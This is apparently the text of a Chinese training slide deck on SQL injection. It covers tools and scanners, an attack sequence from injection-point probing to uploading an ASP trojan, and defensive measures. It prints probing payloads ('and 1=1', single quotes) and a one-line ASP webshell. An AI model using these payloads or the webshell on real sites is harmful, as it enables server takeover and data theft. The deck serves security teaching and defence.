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• SQL注入工具分类
� SQL注入工具
a) Pangolin注入工具
b) Havij注入工具
c) 旁注明小子注入工具
d) DSQLTools注入工具
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d) DSQLTools注入工具
e) NBSI注入工具
f) 阿D注入工具
� 扫描SQL注入漏洞工具
a) Acunetix Web Vulnerability Scanner 8
b) IBM Rational AppScan 7.8
c) HP WebInspect
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• SQL注入：（Structured Query Language Injection）是从正常的
WWW端口访问，而且表面看起来跟一般的Web页面没什么区别，所
以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看
IIS日志的习惯，可能被入侵很长时间都不会发觉。
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• 什么是SQL注入攻击？
SQL注入攻击是攻击者通过把

SQL命令插入到Web表单递交或输
入域名或页面请求的查询字符串，
最终达到欺骗服务器执行恶意的
SQL命令。
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• SQL注入攻击原理
SQL（Structured Query Language）是一种用来和数据库交互

的语言文本。
SQL注入的攻击原理就是攻击者通过Web应用程序利用SQL语句

或字符串将非法的数据插入到服务器端数据库中，获取数据库的管理
用户权限，然后将数据库管理用户权限提升至操作系统管理用户权限
，控制服务器操作系统，获取重要信息及机密文件。
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，控制服务器操作系统，获取重要信息及机密文件。
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SQL注入漏洞攻击主要是通过借助于HDSI、NBSI和Domain等SQL注入漏洞
扫描工具扫描出Web页面中存在的SQL注入漏洞，从而定位SQL注入点，通
过执行非法的SQL语句或字符串达到入侵者想要的操作。
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• SQL注入攻击过程
� 扫描器先扫描Web服务器漏洞
� 寻找SQL注入攻击位置
� 判断后台使用具体数据库
� 确定XP_CMDSHELL可执行情况
� 发现WEB虚拟目录
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� 发现WEB虚拟目录
� 上传ASP木马
� 得到后台管理员权限
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• 扫描器先扫描Web服务器漏洞，了解网站整体安全状况
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• 获取和验证SQL注入点
� 一般来说，SQL注入一般存在于形如：

HTTP://xxx.xxx.xxx/test.asp?id=XX等带有参数 的ASP动态网页中，
有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时
是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有
参数的动态网页且此网页访问了数据库，那么就有可能存在SQL注入
。如果ASP程序员没有安全意识，不进行必要的字符过滤，存在SQL

SQLSQLSQLSQL注入攻击阶段注入攻击阶段注入攻击阶段注入攻击阶段2222
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。如果ASP程序员没有安全意识，不进行必要的字符过滤，存在SQL
注入的可能性就非常大。

� 寻找SQL注入之前，先把IE菜单=>工具=>Internet选项=>高级=>显示
友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误
，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。

� 寻找SQL注入点的常想到的查找方法是在有参数传入的地方添加诸如
“and 1=1”、“and 1=2”以及“’”等一些特殊字符，通过浏览
器所返回的错误信息来判断是否存在SQL注入，如果返回错误，则表
明程序未对输入的数据进行处理，绝大部分情况下都能进行注入。
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• SQL注入漏洞整形参数判断法
� HTTP://xxx.xxx.xxx/test.asp?id=YY’(附加一个单引号)，此时test.ASP中的

SQL语句变成了
select * from 表名 where 字段=YY’，test.asp运行异常；

� HTTP://xxx.xxx.xxx/test.asp?p=YY and 1=1, test.asp运行正常，而且与
HTTP://xxx.xxx.xxx/test.asp?id=YY运行结果相同；

� HTTP://xxx.xxx.xxx/test.asp?id=YY and 1=2, test.asp运行异常；
以上三步全面满足，abc.asp中一定存在SQL注入漏洞
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以上三步全面满足，abc.asp中一定存在SQL注入漏洞
• SQL注入漏洞字符串型参数的判断法
� HTTP://xxx.xxx.xxx/test.asp?id=YY’(附加一个单引号)，此时abc.ASP中的

SQL语句变成了
select * from 表名 where 字段=YY’，test.asp运行异常；

� HTTP://xxx.xxx.xxx/test.asp?id=YY&nb ... 39;1'='1', test.asp运行正常，而
且与HTTP://xxx.xxx.xxx/test.asp?id=YY运行结果相同；

� HTTP://xxx.xxx.xxx/test.asp?id=YY&nb ... 39;1'='2', test.asp运行异常；
三步全面满足，abc.asp中一定存在SQL注入漏洞
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• 判断后台使用的数据库

亿诚测试亿诚测试亿诚测试亿诚测试 版权所有版权所有版权所有版权所有 Copyright Copyright Copyright Copyright © 2012 www.echengsoft.com2012 www.echengsoft.com2012 www.echengsoft.com2012 www.echengsoft.com



亿诚测试SQLSQLSQLSQL注入攻击阶段注入攻击阶段注入攻击阶段注入攻击阶段4444

• 确定XP_CMDSHELL可执行情况
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• 发现Web虚拟目录
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• 寻找网站WebShell漏洞
� 针对网站中有回复框、标题框等都可以执行一句话木马程序来手工寻

找WebShelll漏洞。
� 一句话木马程序：<%execute request("l")%>
� 寻找到WebShell漏洞后，使用一句话木马客户端上传挂马

SQLSQLSQLSQL注入攻击阶段注入攻击阶段注入攻击阶段注入攻击阶段6666
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• 另外使用SQL注入工具上传ASP木马
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• 上传ASP木马成功，通过IE访问得到后台管理源的权限
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• 在客户端和服务器端对输入值进行验证：使用客户端验证可以提高性
能，但不够安全。所有来自Web浏览器的数据都能被修改为任意内容
，因此，必须在服务器端进行适当的输入验证，才能避免过滤器被绕
过。

• 约束数据类型：Web程序不应该处理那些不符合基本类型、格式和长
度要求的数据。

• 对输入值进行归一化：SQL注入攻击代码可能经过字符集或各种进制
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• 对输入值进行归一化：SQL注入攻击代码可能经过字符集或各种进制
的编码，因此在对它们进行验证检查前，必须将输入值进行归一化处
理，否则编码后的数据会绕过过滤器，而在后续的逻辑中又被解码还
原成恶意代码。

• 对输入值进行过滤或者转换，尤其是' " @ ! = * . ; % ( ) -- 等符号。
• 字符编码和输出验证：应该对HTML和SQL格式中使用的字符进行编码

，以避免应用程序错误地解释和执行它们。
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• 黑白名单法：使用正则表达式查找授权或未经授权的内容。
• 安全的错误处理：无论使用哪种语言编写应用程序，都需要使用类似

Java中try、catch、finally的异常处理来捕捉错误。
• 使用最低权限访问法则：以尽可能低的权限运行Web服务器和它所支

持的应用程序。
• 将WEB服务器和数据库服务器分离。
• 限制数据库权限并分离用户。

SQLSQLSQLSQL注入攻击防御注入攻击防御注入攻击防御注入攻击防御
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• 限制数据库权限并分离用户。
• 对数据库操作尽量使用存储过程。
• 在网站发布之前建议使用一些专业的SQL注入检测工具进行检测，及

时修补这些SQL注入漏洞。
• 数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句

无法正确执行。
• 购买网络安全厂商专业防SQL注入设备。
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Any Questions?
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THANK YOU!


